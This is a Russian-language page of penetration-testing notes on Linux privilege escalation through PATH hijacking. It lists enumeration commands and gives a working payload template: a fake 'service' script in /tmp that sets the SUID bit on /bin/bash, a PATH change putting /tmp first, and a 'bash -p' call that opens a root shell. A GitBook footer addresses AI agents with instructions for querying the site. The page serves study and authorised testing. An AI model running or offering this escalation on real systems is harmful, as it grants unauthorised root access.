> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/privesc/path-hijacking.md).

# Hijacking PATH

Перехват PATH злоупотребляет привилегированными программами или скриптами, которые вызывают команды без абсолютных путей. Если злоумышленник контролирует каталог, расположенный раньше в `PATH`ком, привилегированный процесс может выполнить бинарный файл злоумышленника.

## Методика

* Выявите привилегированные скрипты или бинарные файлы, которые вызывают инструменты по имени, а не по полному пути.
* Подтвердите среду выполнения и записываемые каталоги в `PATH`.
* Поместите управляемый исполняемый файл с ожидаемым именем и запустите привилегированный рабочий процесс.

## Быстрые проверки

```bash
echo $PATH
strings <binary> | head
ltrace <binary> 2>/dev/null
```

Особенно ищите привилегированные программы, которые вызывают другие команды без абсолютных путей:

```bash
strings /path/to/suid_binary
ltrace /path/to/suid_binary
```

Проверьте, доступен ли для записи какой-либо текущий `PATH` каталог:

```bash
for d in $(echo "$PATH" | tr ":" "\n"); do
    find "$d" -writable -type d 2>/dev/null
    find "$d" -writable -type f 2>/dev/null
done
```

## Минимальный шаблон полезной нагрузки

Если привилегированный скрипт вызывает команду по относительному имени, создайте исполняемый файл с тем же именем в доступном для записи каталоге и переместите этот каталог в начало `PATH`.

```bash
cd /tmp
cat > service <<'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x service
export PATH=/tmp:$PATH
```

Запустите уязвимый скрипт или дождитесь выполнения привилегированного рабочего процесса, затем проверьте:

```bash
/path/to/suid_binary
ls -l /bin/bash
/bin/bash -p
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-route" style="color:$primary;">:route:</i></h3></td><td><h4>Перехват PATH test.c</h4></td><td>Заметки по перехвату PATH (test.c) для повышения привилегий в Linux, с шагами перечисления, примерами эксплуатации и проверкой с упором на отчётность.</td><td><a href="/pages/767f27763774b3a892ac80729d7e6f9ca19f0260">/pages/767f27763774b3a892ac80729d7e6f9ca19f0260</a></td></tr><tr><td><h3><i class="fa-route" style="color:$primary;">:route:</i></h3></td><td><h4>Перехват PATH с tar</h4></td><td>Заметки по перехвату PATH (tar) для повышения привилегий в Linux, с шагами перечисления, примерами эксплуатации и проверкой с упором на отчётность.</td><td><a href="/pages/3ab6a9dda6f7c9462f6b51b7a4e0539a2a564fbc">/pages/3ab6a9dda6f7c9462f6b51b7a4e0539a2a564fbc</a></td></tr><tr><td><h3><i class="fa-route" style="color:$primary;">:route:</i></h3></td><td><h4>Перехват PATH с gzip</h4></td><td>Заметки по перехвату PATH (gzip) для повышения привилегий в Linux, с шагами перечисления, примерами эксплуатации и проверкой с упором на отчётность.</td><td><a href="/pages/f495192d2cc5bc4ccb08b9fa1cf13de78270c20e">/pages/f495192d2cc5bc4ccb08b9fa1cf13de78270c20e</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/privesc/path-hijacking.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
